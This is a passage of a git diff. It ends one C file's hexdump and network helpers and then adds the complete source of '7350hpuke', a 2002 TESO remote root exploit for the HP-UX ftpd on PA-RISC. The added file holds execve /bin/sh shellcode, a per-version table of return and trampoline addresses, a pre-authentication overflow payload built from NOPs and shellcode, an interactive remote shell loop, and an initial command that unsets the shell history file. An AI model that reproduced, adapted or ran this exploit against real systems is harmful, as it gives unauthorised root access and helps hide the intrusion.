974 for (dp = p; dp > 0; dp--) {
975 fprintf (stderr, " ");
976 if (((dp % 8) == 0) && (p != 8))
977 fprintf (stderr, " ");
978 fflush (stderr);
979 }
980 fprintf (stderr, " | ");
981 for (dp = (amount - (16 - p)); dp < amount; dp++)
982 fprintf (stderr, "%c", trans[data[dp]]);
983 fflush (stderr);
984 }
985 fprintf (stderr, "\n");
986
987 return;
988}
989
990
991unsigned char *
992binstrstr (unsigned char *binary, unsigned int bin_len, unsigned char *str)
993{
994 if (bin_len < strlen (str))
995 return (NULL);
996
997 while (binary <= (binary + bin_len - strlen (str))) {
998 if (memcmp (binary, str, strlen (str)) == 0)
999 return (binary);
1000
1001 binary += 1;
1002 bin_len -= 1;
1003 }
1004
1005 return (NULL);
1006}
1007
1008
1009unsigned long int
1010net_resolve (char *host)
1011{
1012 long i;
1013 struct hostent *he;
1014
1015 i = inet_addr(host);
1016 if (i == -1) {
1017 he = gethostbyname(host);
1018 if (he == NULL) {
1019 return (0);
1020 } else {
1021 return (*(unsigned long *) he->h_addr);
1022 }
1023 }
1024 return (i);
1025}
1026
1027
1028int
1029net_connect (struct sockaddr_in *cs, char *server, unsigned short int port,
1030 char *sourceip, unsigned short int sourceport, int sec)
1031{
1032 int n,
1033 len,
1034 error,
1035 flags;
1036 int fd;
1037 struct timeval tv;
1038 fd_set rset, wset;
1039 struct sockaddr_in csa;
1040
1041 if (cs == NULL)
1042 cs = &csa;
1043
1044 /* first allocate a socket */
1045 cs->sin_family = AF_INET;
1046 cs->sin_port = htons (port);
1047 fd = socket (cs->sin_family, SOCK_STREAM, 0);
1048 if (fd == -1)
1049 return (-1);
1050
1051 /* check wether we should change the defaults */
1052 if (net_assignaddr (fd, sourceip, sourceport) == 0) {
1053 close (fd);
1054 return (-1);
1055 }
1056
1057 if (!(cs->sin_addr.s_addr = net_resolve (server))) {
1058 close (fd);
1059 return (-1);
1060 }
1061
1062 flags = fcntl (fd, F_GETFL, 0);
1063 if (flags == -1) {
1064 close (fd);
1065 return (-1);
1066 }
1067 n = fcntl (fd, F_SETFL, flags | O_NONBLOCK);
1068 if (n == -1) {
1069 close (fd);
1070 return (-1);
1071 }
1072
1073 error = 0;
1074
1075 n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in));
1076 if (n < 0) {
1077 if (errno != EINPROGRESS) {
1078 close (fd);
1079 return (-1);
1080 }
1081 }
1082 if (n == 0)
1083 goto done;
1084
1085 FD_ZERO(&rset);
1086 FD_ZERO(&wset);
1087 FD_SET(fd, &rset);
1088 FD_SET(fd, &wset);
1089 tv.tv_sec = sec;
1090 tv.tv_usec = 0;
1091
1092 n = select(fd + 1, &rset, &wset, NULL, &tv);
1093 if (n == 0) {
1094 close(fd);
1095 errno = ETIMEDOUT;
1096 return (-1);
1097 }
1098 if (n == -1)
1099 return (-1);
1100
1101 if (FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset)) {
1102 if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset)) {
1103 len = sizeof(error);
1104 if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) {
1105 errno = ETIMEDOUT;
1106 return (-1);
1107 }
1108 if (error == 0) {
1109 goto done;
1110 } else {
1111 errno = error;
1112 return (-1);
1113 }
1114 }
1115 } else
1116 return (-1);
1117
1118done:
1119 n = fcntl(fd, F_SETFL, flags);
1120 if (n == -1)
1121 return (-1);
1122 return (fd);
1123}
1124
1125
1126int
1127net_assignaddr (int sd, char *sourceip, unsigned short int sourceport)
1128{
1129 struct sockaddr_in sourcedef;
1130
1131 if (sourceip && strcmp (sourceip, "*") == 0)
1132 sourceip = NULL;
1133
1134 if (sourceip == NULL && sourceport == 0)
1135 return (1);
1136
1137 memset (&sourcedef, '\0', sizeof (struct sockaddr_in));
1138
1139 /* if sourceip is specified, set it */
1140 if (sourceip) {
1141 sourcedef.sin_addr.s_addr = net_resolve (sourceip);
1142 if (sourcedef.sin_addr.s_addr == 0) {
1143 fprintf (stderr, "failed to assign source ip\n");
1144 exit (EXIT_FAILURE);
1145 }
1146 } else {
1147 sourcedef.sin_addr.s_addr = htonl (INADDR_ANY);
1148 }
1149 if (sourceport)
1150 sourcedef.sin_port = htons (sourceport);
1151
1152 /* now set the source on the socket by binding it */
1153 if (bind (sd, (struct sockaddr *) &sourcedef,
1154 sizeof (struct sockaddr_in)) == -1)
1155 {
1156 return (0);
1157 }
1158
1159 return (1);
1160}
1161
1162
1163void
1164net_write (int fd, const char *str, ...)
1165{
1166 char tmp[1025];
1167 va_list vl;
1168 int i;
1169
1170 va_start(vl, str);
1171 memset(tmp, 0, sizeof(tmp));
1172 i = vsnprintf(tmp, sizeof(tmp), str, vl);
1173 va_end(vl);
1174
1175#ifdef DEBUG
1176 printf ("[snd] %s%s", tmp, (tmp[strlen (tmp) - 1] == '\n') ? "" : "\n");
1177#endif
1178
1179 send(fd, tmp, i, 0);
1180 return;
1181}
1182
1183
1184int
1185net_rlinet (int fd, char *buf, int bufsize, int sec)
1186{
1187 int n;
1188 unsigned long int rb = 0;
1189 struct timeval tv_start, tv_cur;
1190
1191 memset(buf, '\0', bufsize);
1192 (void) gettimeofday(&tv_start, NULL);
1193
1194 do {
1195 (void) gettimeofday(&tv_cur, NULL);
1196 if (sec > 0) {
1197 if ((((tv_cur.tv_sec * 1000000) + (tv_cur.tv_usec)) -
1198 ((tv_start.tv_sec * 1000000) +
1199 (tv_start.tv_usec))) > (sec * 1000000))
1200 {
1201 return (-1);
1202 }
1203 }
1204 n = net_rtimeout(fd, NET_READTIMEOUT);
1205 if (n <= 0) {
1206 return (-1);
1207 }
1208 n = read(fd, buf, 1);
1209 if (n <= 0) {
1210 return (n);
1211 }
1212 rb++;
1213 if (*buf == '\n')
1214 return (rb);
1215 buf++;
1216 if (rb >= bufsize)
1217 return (-2); /* buffer full */
1218 } while (1);
1219}
1220
1221
1222int
1223net_rtimeout (int fd, int sec)
1224{
1225 fd_set rset;
1226 struct timeval tv;
1227 int n, error, flags;
1228
1229
1230 error = 0;
1231 flags = fcntl(fd, F_GETFL, 0);
1232 n = fcntl(fd, F_SETFL, flags | O_NONBLOCK);
1233 if (n == -1)
1234 return (-1);
1235
1236 FD_ZERO(&rset);
1237 FD_SET(fd, &rset);
1238 tv.tv_sec = sec;
1239 tv.tv_usec = 0;
1240
1241 /* now we wait until more data is received then the tcp low level
1242 * watermark, which should be setted to 1 in this case (1 is default)
1243 */
1244 n = select(fd + 1, &rset, NULL, NULL, &tv);
1245 if (n == 0) {
1246 n = fcntl(fd, F_SETFL, flags);
1247 if (n == -1)
1248 return (-1);
1249 errno = ETIMEDOUT;
1250 return (-1);
1251 }
1252 if (n == -1) {
1253 return (-1);
1254 }
1255 /* socket readable ? */
1256 if (FD_ISSET(fd, &rset)) {
1257 n = fcntl(fd, F_SETFL, flags);
1258 if (n == -1)
1259 return (-1);
1260 return (1);
1261 } else {
1262 n = fcntl(fd, F_SETFL, flags);
1263 if (n == -1)
1264 return (-1);
1265 errno = ETIMEDOUT;
1266 return (-1);
1267 }
1268}
1269
1270
diff --git a/exploits/7350hpuke/backup/7350hpuke-0.2.0.c b/exploits/7350hpuke/backup/7350hpuke-0.2.0.c
new file mode 100644
index 0000000..bbf1a30
--- /dev/null
+++ b/exploits/7350hpuke/backup/7350hpuke-0.2.0.c
@@ -0,0 +1,840 @@
1/* 7350hpuke - hppa/hpux ftpd remote root exploit
2 *
3 * TESO CONFIDENTIAL - SOURCE MATERIALS
4 *
5 * This is unpublished proprietary source code of TESO Security.
6 *
7 * The contents of these coded instructions, statements and computer
8 * programs may not be disclosed to third parties, copied or duplicated in
9 * any form, in whole or in part, without the prior written permission of
10 * TESO Security. This includes especially the Bugtraq mailing list, the
11 * www.hack.co.za website and any public exploit archive.
12 *
13 * The distribution restrictions cover the entire file, including this
14 * header notice. (This means, you are not allowed to reproduce the header).
15 *
16 * (C) COPYRIGHT TESO Security, 2002
17 * All Rights Reserved
18 *
19 *****************************************************************************
20 * 2002/02/10 -
21 *
22 * hints
23 *
24 * - to test for the vulnerability, just use "-l 1 -t 1" and see if the remote
25 * process dumps core (to /core)
26 * - the exploit is sensitive to what the local ip resolves to. only fqhn up
27 * to 17 characters will allow this exploitation method to work
28 * - for other versions of hpux, you need to find the correct trampoline
29 * address within the shared library quadrant (a disassembler is required)
30 * and the return address on the stack where your code lies. if you get
31 * a segfault when apparently everything else is correct, you are trying
32 * to return to the stack directly, without a proper space id.
33 *
34 * TODO: check with different libc version, maybe a bruteforce of the trampo
35 * address is necessary (most likely). also try to look for fixed (start
36 * of libc?) trampos.
37 */
38
39#define VERSION "0.2.0"
40
41#include <sys/types.h>
42#include <sys/time.h>
43#include <sys/socket.h>
44#include <netinet/in.h>
45#include <arpa/inet.h>
46#include <arpa/telnet.h>
47#include <netdb.h>
48#include <errno.h>
49#include <fcntl.h>
50#include <unistd.h>
51#include <stdio.h>
52#include <stdlib.h>
53#include <stdarg.h>
54#include <string.h>
55#include <time.h>
56
57
58#define INIT_CMD "unset HISTFILE;id;uname -a;\n"
59
60
61typedef struct {
62 char * desc; /* distribution */
63 char * banner; /* ftp banner part */
64 unsigned char * shellcode;
65 unsigned int shellcode_len;
66
67 unsigned int cpad; /* padding in the xp cmd */
68 unsigned long int retaddr1; /* return address to trampo */
69 unsigned long int retaddr2; /* return address to code */
70} tgt_type;
71
72
73unsigned char hppa_nop[] =
74 "\x0b\x39\x02\x99"; /* xor %r25,%r25,%r25 */
75
76/* does work on 1.7.212.5, but not on .1, huh?
77 */
78unsigned char hppa_hpux_execve[] =
79 "\xeb\x5f\x1f\xfd\xb4\x16\x70\x76\xb7\x5a\x40\x3a"
80 "\x0f\xc0\x12\x88\x0f\xda\x12\x80\x0b\xc0\x02\x99"
81 "\x0b\x18\x02\x98\x22\xa0\x08\x01\xe6\xa0\xe0\x08"
82 "\x0f\x40\x12\x0e\x2f\x62\x69\x6e\x2f\x73\x68\x41";
83
84#if 0
85/* lsd shellcode, some russian hugs to you! :)
86 */
87unsigned char hppa_hpux_execve_lsd[] =
88 "\x0b\x5a\x02\x9a" /* xor %r26,%r26,%r26 */
89 "\x0b\x39\x02\x99" /* xor %r25,%r25,%r25 */
90 "\x0b\x18\x02\x98" /* xor %r24,%r24,%r24 */
91 "\x20\x20\x08\x01" /* ldil L%0xc0000004,%r1 */
92 "\xe4\x20\xe0\x08" /* ble R%0xc0000004(%sr7,%r1) */
93 "\xb4\x16\x70\xfc" /* addi,> 0x7e,%r0,%r22 */
94
95 "\xeb\x5f\x1f\xfd" /* bl <shellcode+4>,%r26 */
96 "\x0b\x39\x02\x99" /* xor %r25,%r25,%r25 */
97 "\xb7\x5a\x40\x22" /* addi,< 0x11,%r26,%r26 */
98 "\x0f\x40\x12\x0e" /* stbs %r0,7(%r26) */
99 "\x20\x20\x08\x01" /* ldil L%0xc0000004,%r1 */
100 "\xe4\x20\xe0\x08" /* ble R%0xc0000004(%sr7,%r1) */
101 "\xb4\x16\x70\x16" /* addi,> 0xb,%r0,%r22 */
102 "/bin/shA";
103#endif
104
105/* i am not that sure that this method of exploitation will work on other
106 * hpux systems. the vulnerability is itself very weird. i see what fails
107 * where and how it goes wrong, but i am unable to see why. there is
108 * boundary checking prior to the overflow, its difficult to reproduce
109 * logically and generally "weird". i like it.
110 */
111tgt_type targets[] = {
112 { "DEBUG TARGET",
113 "DEBUG",
114 hppa_hpux_execve, sizeof (hppa_hpux_execve) - 1,
115 25, 0x41414141, 0x42424242 },
116
117 /* real targets
118 */
119 { "HP-UX B.10.20 A - 1.7.212.1 default [1996/05/09 - 1997/01/26]",
120 "Version 1.7.212.1 Thu May 9 21:10:27 GMT 1996",
121 hppa_hpux_execve, sizeof (hppa_hpux_execve) - 1,
122 25, 0xc0011000 + 0x000116c20, /* libc base + trampo */
123 0x7b03add0 },
124
125 { "HP-UX B.10.20 A - 1.7.212.1 PHNE_9785 [1997/01/26 - 1997/02/07] (mirrors: default)",
126 "Version 1.7.212.1 Mon Jan 13 23:52:32 GMT 1997",
127 hppa_hpux_execve, sizeof (hppa_hpux_execve) - 1,
128 25, 0xc0011000 + 0x000116c20, /* libc base + trampo */
129 0x7b03add0 },
130
131 { "HP-UX B.10.20 A - 1.7.212.1 PHNE_10010 [1997/02/07 - 1998/04/28] (mirrors: default)",
132 "Version 1.7.212.1 Sat Feb 1 01:30:15 GMT 1997",
133 hppa_hpux_execve, sizeof (hppa_hpux_execve) - 1,
134 25, 0xc0011000 + 0x000116c20, /* libc base + trampo */
135 0x7b03add0 },
136
137 { "HP-UX B.10.20 A - 1.7.212.2 PHNE_13597 [1998/04/28 - 1999/07/26] (mirrors: default)",
138 "Version 1.7.212.2 Tue Apr 21 12:14:46 GMT 1998",
139 hppa_hpux_execve, sizeof (hppa_hpux_execve) - 1,
140 25, 0xc0011000 + 0x000116c20, /* libc base + trampo */
141 0x7b03add0 },
142
143 { "HP-UX B.10.20 A - 1.7.212.3 PHNE_17963 [1999/07/26 - 2000/09/22] (mirrors: default)",
144 "Version 1.7.212.3 Wed Jul 14 10:24:05 GMT 1999",
145 hppa_hpux_execve, sizeof (hppa_hpux_execve) - 1,
146 25, 0xc0011000 + 0x000116c20, /* libc base + trampo */
147 0x7b03add0 },
148
149 { "HP-UX B.10.20 A - 1.7.212.4 PHNE_22057 [2000/09/22 - 2001/06/04] (mirrors: default)",
150 "Version 1.7.212.4 Tue Sep 12 04:33:08 GMT 2000",
151 hppa_hpux_execve, sizeof (hppa_hpux_execve) - 1,
152 25, 0xc0011000 + 0x000116c20, /* libc base + trampo */
153 0x7b03add0 },
154
155 { "HP-UX B.10.20 A - 1.7.212.5 PHNE_23948 [2001/06/04 - now] (mirrors: default)",
156 "Version 1.7.212.5 Wed May 30 12:19:42 GMT 2001",
157 hppa_hpux_execve, sizeof (hppa_hpux_execve) - 1,
158 25, 0xc0011000 + 0x000116c20, /* libc base + trampo */
159 0x7b03add0 },
160
161 { NULL, NULL, 0, 0, 0, 0 },
162};
163
164
165/* FTP related stuff
166 */
167char * dest = "127.0.0.1"; /* can be changed with -d */
168char * ftp_banner = NULL;
169int verbose = 0;
170
171
172/* FTP prototypes
173 */
174void ftp_escape (unsigned char *buf, unsigned long int buflen);
175void ftp_recv_until (int sock, char *buff, int len, char *begin);
176int ftp_login (char *host);
177
178
179/* main prototypes
180 */
181void usage (char *progname);
182void exploit (int fd, tgt_type *tgt);
183void shell (int sock);
184void hexdump (char *desc, unsigned char *data, unsigned int amount);
185
186void tgt_list (void);
187tgt_type * tgt_frombanner (unsigned char *banner);
188
189
190/* imported from network.c
191 */
192#define NET_CONNTIMEOUT 60
193#define NET_READTIMEOUT 20
194int net_conntimeout = NET_CONNTIMEOUT;
195
196unsigned long int net_resolve (char *host);
197int net_connect (struct sockaddr_in *cs, char *server,
198 unsigned short int port, int sec);
199void net_write (int fd, const char *str, ...);
200int net_rtimeout (int fd, int sec);
201int net_rlinet (int fd, char *buf, int bufsize, int sec);
202
203
204int debugmode = 0;
205
206
207void
208usage (char *progname)
209{
210 fprintf (stderr, "usage: %s [-h] [-v] [-D] [-l <len>] [-t <num>] [-d host]\n",
211 progname);
212
213 fprintf (stderr,
214 "-h\tthis help\n"
215 "-v\tbe verbose (default: off, twice for greater effect)\n"
216 "-D\tDEBUG mode (waits for keypresses)\n"
217 "-l len\tresolved hostname length (of this host)\n"
218 "-t num\tchoose target (0 for list, try -v or -v -v)\n"
219 "-d dest\tIP address or fqhn to connect to "
220 "(default: 127.0.0.1)\n"
221 "\n");
222
223 exit (EXIT_FAILURE);
224}
225
226int resolv_len = -1;
227unsigned char * shellcode = NULL;
228unsigned long int shellcode_len = 0;
229
230
231int
232main (int argc, char *argv[])
233{
234 char c;
235 char * progname; /* = argv[0] */
236 int fd;
237
238 tgt_type * tgt = NULL;
239 int tgt_num = -1;
240
241 unsigned char rcvbuf[2048];
242
243
244 fprintf (stderr, "7350hpuke - hppa/hpux ftpd remote root "
245 "(version "VERSION")\n"
246 "team teso.\n\n");
247
248 progname = argv[0];
249 if (argc < 2)
250 usage (progname);
251
252
253 while ((c = getopt (argc, argv, "hvDl:t:d:")) != EOF) {
254 switch (c) {
255 case 'h':
256 usage (progname);
257 break;
258 case 'D':
259 debugmode = 1;
260 break;
261 case 'v':
262 verbose += 1;
263 break;
264 case 'l':
265 if (sscanf (optarg, "%u", &resolv_len) != 1)
266 usage (progname);
267 break;
268 case 't':
269 if (sscanf (optarg, "%u", &tgt_num) != 1)
270 usage (progname);
271 break;
272 case 'd':
273 dest = optarg;
274 break;
275 default:
276 usage (progname);
277 break;
278 }
279 }
280
281 if (tgt_num == 0 ||
282 tgt_num >= (sizeof (targets) / sizeof (tgt_type)))
283 {
284 if (tgt_num != 0)
285 printf ("WARNING: target out of list. list:\n\n");
286
287 tgt_list ();
288
289 exit (EXIT_SUCCESS);
290 }
291
292 if (resolv_len == -1) {
293 fprintf (stderr, "resolv length parameter required, doh!\n");
294 exit (EXIT_FAILURE);
295 }
296 if (resolv_len > 17) {
297 fprintf (stderr, "resolv length too large, this exploitation "
298 "method only supports\nlength below or equal to 17 "
299 "chars\n");
300 exit (EXIT_FAILURE);
301 }
302
303 if (tgt == NULL)
304 tgt = &targets[tgt_num - 1];
305
306
307 printf ("# trying to connect to %s ...", dest);
308 fflush (stdout);
309
310 fd = ftp_login (dest);
311 if (fd <= 0) {
312 fprintf (stderr, "\nfailed to connect (user/pass correct?)\n");
313 exit (EXIT_FAILURE);
314 }
315 printf (" connected.\n");
316
317 if (debugmode) {
318 printf ("DEBUG: press enter\n");
319 getchar ();
320 }
321
322 printf ("# banner: %s", (ftp_banner == NULL) ? "???" :
323 ftp_banner);
324
325 if (shellcode == NULL) {
326 shellcode = tgt->shellcode;
327 shellcode_len = tgt->shellcode_len;
328 }
329
330
331 if (verbose >= 2) {
332 printf ("using %lu byte shellcode:\n", shellcode_len);
333
334 hexdump ("shellcode", shellcode, shellcode_len);
335 }
336
337 printf ("\n### TARGET: %s\n\n", tgt->desc);
338
339 /* real stuff starts from here
340 */
341 printf ("# 1. sending preparation commands\n");
342 net_write (fd, "SITE 73507350735073507350735073507350"
343 "735073507350735073507350\n");
344 ftp_recv_until (fd, rcvbuf, sizeof (rcvbuf), "500 ");
345 exploit (fd, tgt);
346
347 printf ("# trying to spawn shell\n");
348 printf ("##################################################"
349 "##########################\n");
350
351 write (fd, INIT_CMD, strlen (INIT_CMD));
352 shell (fd);
353
354 exit (EXIT_SUCCESS);
355}
356
357
358void
359exploit (int fd, tgt_type *tgt)
360{
361 int n,
362 padnop,
363 pad;
364 unsigned char * xpw;
365 unsigned char xpbuf[1024 + 256]; /* + NETSLOP ;-) */
366
367
368 memset (xpbuf, '\0', sizeof (xpbuf));
369
370 pad = 17 - resolv_len;
371 for (xpw = xpbuf, n = 0 ; pad > 0 ; --pad)
372 *xpw++ = "7350"[n++ % 4];
373
374 /* now the second return address (at %sp - 0x18) for thunking
375 */
376 *xpw++ = (tgt->retaddr2 & 0xff000000) >> 24;
377 *xpw++ = (tgt->retaddr2 & 0x00ff0000) >> 16;
378 *xpw++ = (tgt->retaddr2 & 0x0000ff00) >> 8;
379 *xpw++ = (tgt->retaddr2 & 0x000000ff);
380
381 /* directly after it, *tada*, the first return address to the space
382 * redirection stub
383 */
384 *xpw++ = (tgt->retaddr1 & 0xff000000) >> 24;
385 *xpw++ = (tgt->retaddr1 & 0x00ff0000) >> 16;
386 *xpw++ = (tgt->retaddr1 & 0x0000ff00) >> 8;
387 *xpw++ = (tgt->retaddr1 & 0x000000ff);
388
389
390 /* XXX: might be different on other binaries */
391 strcat (xpbuf, "A"); /* padding */
392 if (verbose)
393 printf ("n = strlen (xpbuf) = %d\n", strlen (xpbuf));
394
395 /* nopspace + shellcode
396 */
397 padnop = 990 + tgt->cpad - resolv_len - strlen (xpbuf);
398 padnop &= ~0x3; /* pad down to 4 byte boundary */
399
400 for (n = 0, xpw = xpbuf + strlen (xpbuf) ;
401 n < padnop ; ++n)
402 {
403 *xpw++ = hppa_nop[n % 4];
404 }
405 if (verbose)
406 printf ("n = %d, n %% 4 = %d\n", n, n % 4);
407
408 memcpy (xpw - tgt->shellcode_len - 8, tgt->shellcode, tgt->shellcode_len);
409 xpw += strlen (xpw);
410 printf ("strlen (xpbuf) = %d\n", strlen (xpbuf));
411
412 *xpw++ = '\n';
413
414 ftp_escape (xpbuf, sizeof (xpbuf));
415 net_write (fd, "%s", xpbuf);
416
417 return;
418}
419
420
421/* tgt_list
422 *
423 * give target list
424 */
425
426void
427tgt_list (void)
428{
429 int tgt_num;
430
431
432 printf ("num . description\n");
433 printf ("----+-----------------------------------------------"
434 "--------\n");
435
436 for (tgt_num = 0 ; targets[tgt_num].desc != NULL ; ++tgt_num) {
437 printf ("%3d | %s\n", tgt_num + 1, targets[tgt_num].desc);
438
439 if (verbose)
440 printf (" : %s\n", targets[tgt_num].banner);
441 if (verbose >= 2)
442 printf (" : retaddr1: 0x%08lx "
443 "retaddr2: 0x%08lx\n",
444 targets[tgt_num].retaddr1,
445 targets[tgt_num].retaddr2);
446 }
447 printf (" '\n");
448
449 return;
450}
451
452
453void
454shell (int sock)
455{
456 int l;
457 char buf[512];
458 fd_set rfds;
459
460
461 while (1) {
462 FD_SET (0, &rfds);
463 FD_SET (sock, &rfds);
464
465 select (sock + 1, &rfds, NULL, NULL, NULL);
466 if (FD_ISSET (0, &rfds)) {
467 l = read (0, buf, sizeof (buf));
468 if (l <= 0) {
469 perror ("read user");
470 exit (EXIT_FAILURE);
471 }
472 write (sock, buf, l);
473 }
474
475 if (FD_ISSET (sock, &rfds)) {
476 l = read (sock, buf, sizeof (buf));
477 if (l == 0) {
478 printf ("connection closed by foreign host.\n");
479 exit (EXIT_FAILURE);
480 } else if (l < 0) {
481 perror ("read remote");
482 exit (EXIT_FAILURE);
483 }
484 write (1, buf, l);
485 }
486 }
487}
488
489
490/*** FTP functions
491 */
492
493/* FTP is TELNET is SHIT.
494 */
495
496void
497ftp_escape (unsigned char *buf, unsigned long int buflen)
498{
499 unsigned char * obuf = buf;
500
501
502 for ( ; *buf != '\0' ; ++buf) {
503 if (*buf == 0xff &&
504 (((buf - obuf) + strlen (buf) + 1) < buflen))
505 {
506 memmove (buf + 1, buf, strlen (buf) + 1);
507 buf += 1;
508 }
509 }
510}
511
512
513void
514ftp_recv_until (int sock, char *buff, int len, char *begin)
515{
516 char dbuff[2048];
517
518
519 if (buff == NULL) {
520 buff = dbuff;
521 len = sizeof (dbuff);
522 }
523
524 do {
525 memset (buff, '\x00', len);
526 if (net_rlinet (sock, buff, len - 1, 20) <= 0)
527 return;
528 } while (memcmp (buff, begin, strlen (begin)) != 0);
529
530 return;
531}
532
533
534int
535ftp_login (char *host)
536{
537 int ftpsock;
538 char resp[512];
539
540
541 ftpsock = net_connect (NULL, host, 21, 30);
542 if (ftpsock <= 0)
543 return (0);
544
545 memset (resp, '\x00', sizeof (resp));
546 if (net_rlinet (ftpsock, resp, sizeof (resp) - 1, 20) <= 0)
547 goto flerr;
548
549 /* handle multiline pre-login stuff (rfc violation !)
550 */
551 if (memcmp (resp, "220-", 4) == 0)
552 ftp_recv_until (ftpsock, resp, sizeof (resp), "220 ");
553
554 if (memcmp (resp, "220 ", 4) != 0) {
555 if (verbose)
556 printf ("\n%s\n", resp);
557 goto flerr;
558 }
559 ftp_banner = strdup (resp);
560
561 /* do not login really, this is 100% pre-auth
562 */
563 return (ftpsock);
564
565flerr:
566 if (ftpsock > 0)
567 close (ftpsock);
568
569 return (0);
570}
571
572
573/* ripped from zodiac */
574void
575hexdump (char *desc, unsigned char *data, unsigned int amount)
576{
577 unsigned int dp, p; /* data pointer */
578 const char trans[] =
579 "................................ !\"#$%&'()*+,-./0123456789"
580 ":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm"
581 "nopqrstuvwxyz{|}~...................................."
582 "....................................................."
583 "........................................";
584
585
586 printf ("/* %s, %u bytes */\n", desc, amount);
587
588 for (dp = 1; dp <= amount; dp++) {
589 fprintf (stderr, "%02x ", data[dp-1]);
590 if ((dp % 8) == 0)
591 fprintf (stderr, " ");
592 if ((dp % 16) == 0) {
593 fprintf (stderr, "| ");
594 p = dp;
595 for (dp -= 16; dp < p; dp++)
596 fprintf (stderr, "%c", trans[data[dp]]);
597 fflush (stderr);
598 fprintf (stderr, "\n");
599 }
600 fflush (stderr);
601 }
602 if ((amount % 16) != 0) {
603 p = dp = 16 - (amount % 16);
604 for (dp = p; dp > 0; dp--) {
605 fprintf (stderr, " ");
606 if (((dp % 8) == 0) && (p != 8))
607 fprintf (stderr, " ");
608 fflush (stderr);
609 }
610 fprintf (stderr, " | ");
611 for (dp = (amount - (16 - p)); dp < amount; dp++)
612 fprintf (stderr, "%c", trans[data[dp]]);
613 fflush (stderr);
614 }
615 fprintf (stderr, "\n");
616
617 return;
618}
619
620
621
622unsigned long int
623net_resolve (char *host)
624{
625 long i;
626 struct hostent *he;
627
628 i = inet_addr(host);
629 if (i == -1) {
630 he = gethostbyname(host);
631 if (he == NULL) {
632 return (0);
633 } else {
634 return (*(unsigned long *) he->h_addr);
635 }
636 }
637 return (i);
638}
639
640
641int
642net_connect (struct sockaddr_in *cs, char *server,
643 unsigned short int port, int sec)
644{
645 int n,
646 len,
647 error,
648 flags;
649 int fd;
650 struct timeval tv;
651 fd_set rset, wset;
652 struct sockaddr_in csa;
653
654 if (cs == NULL)
655 cs = &csa;
656
657 /* first allocate a socket */
658 cs->sin_family = AF_INET;
659 cs->sin_port = htons (port);
660 fd = socket (cs->sin_family, SOCK_STREAM, 0);
661 if (fd == -1)
662 return (-1);
663
664 if (!(cs->sin_addr.s_addr = net_resolve (server))) {
665 close (fd);
666 return (-1);
667 }
668
669 flags = fcntl (fd, F_GETFL, 0);
670 if (flags == -1) {
671 close (fd);
672 return (-1);
673 }
674 n = fcntl (fd, F_SETFL, flags | O_NONBLOCK);
675 if (n == -1) {
676 close (fd);
677 return (-1);
678 }
679
680 error = 0;
681
682 n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in));
683 if (n < 0) {
684 if (errno != EINPROGRESS) {
685 close (fd);
686 return (-1);
687 }
688 }
689 if (n == 0)
690 goto done;
691
692 FD_ZERO(&rset);
693 FD_ZERO(&wset);
694 FD_SET(fd, &rset);
695 FD_SET(fd, &wset);
696 tv.tv_sec = sec;
697 tv.tv_usec = 0;
698
699 n = select(fd + 1, &rset, &wset, NULL, &tv);
700 if (n == 0) {
701 close(fd);
702 errno = ETIMEDOUT;
703 return (-1);
704 }
705 if (n == -1)
706 return (-1);
707
708 if (FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset)) {
709 if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset)) {
710 len = sizeof(error);
711 if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) {
712 errno = ETIMEDOUT;
713 return (-1);
714 }
715 if (error == 0) {
716 goto done;
717 } else {
718 errno = error;
719 return (-1);
720 }
721 }
722 } else
723 return (-1);
724
725done:
726 n = fcntl(fd, F_SETFL, flags);
727 if (n == -1)
728 return (-1);
729 return (fd);
730}
731
732
733void
734net_write (int fd, const char *str, ...)
735{
736 char tmp[1025];
737 va_list vl;
738 int i;
739
740 va_start(vl, str);
741 memset(tmp, 0, sizeof(tmp));
742 i = vsnprintf(tmp, sizeof(tmp), str, vl);
743 va_end(vl);
744
745#ifdef DEBUG
746 printf ("[snd] %s%s", tmp, (tmp[strlen (tmp) - 1] == '\n') ? "" : "\n");
747#endif
748
749 send(fd, tmp, i, 0);
750 return;
751}
752
753
754int
755net_rlinet (int fd, char *buf, int bufsize, int sec)
756{
757 int n;
758 unsigned long int rb = 0;
759 struct timeval tv_start, tv_cur;
760
761 memset(buf, '\0', bufsize);
762 (void) gettimeofday(&tv_start, NULL);
763
764 do {
765 (void) gettimeofday(&tv_cur, NULL);
766 if (sec > 0) {
767 if ((((tv_cur.tv_sec * 1000000) + (tv_cur.tv_usec)) -
768 ((tv_start.tv_sec * 1000000) +
769 (tv_start.tv_usec))) > (sec * 1000000))
770 {
771 return (-1);
772 }
773 }
774 n = net_rtimeout(fd, NET_READTIMEOUT);
775 if (n <= 0) {
776 return (-1);
777 }
778 n = read(fd, buf, 1);
779 if (n <= 0) {
780 return (n);
781 }
782 rb++;
783 if (*buf == '\n')
784 return (rb);
785 buf++;
786 if (rb >= bufsize)
787 return (-2); /* buffer full */
788 } while (1);
789}
790
791
792int
793net_rtimeout (int fd, int sec)
794{
795 fd_set rset;
796 struct timeval tv;
797 int n, error, flags;
798
799
800 error = 0;
801 flags = fcntl(fd, F_GETFL, 0);
802 n = fcntl(fd, F_SETFL, flags | O_NONBLOCK);
803 if (n == -1)
804 return (-1);
805
806 FD_ZERO(&rset);
807 FD_SET(fd, &rset);
808 tv.tv_sec = sec;
809 tv.tv_usec = 0;
810
811 /* now we wait until more data is received then the tcp low level
812 * watermark, which should be setted to 1 in this case (1 is default)
813 */
814 n = select(fd + 1, &rset, NULL, NULL, &tv);
815 if (n == 0) {
816 n = fcntl(fd, F_SETFL, flags);
817 if (n == -1)
818 return (-1);
819 errno = ETIMEDOUT;
820 return (-1);
821 }
822 if (n == -1) {
823 return (-1);
824 }
825 /* socket readable ? */
826 if (FD_ISSET(fd, &rset)) {
827 n = fcntl(fd, F_SETFL, flags);
828 if (n == -1)
829 return (-1);
830 return (1);
831 } else {
832 n = fcntl(fd, F_SETFL, flags);
833 if (n == -1)
834 return (-1);
835 errno = ETIMEDOUT;
836 return (-1);
837 }
838}
839
840
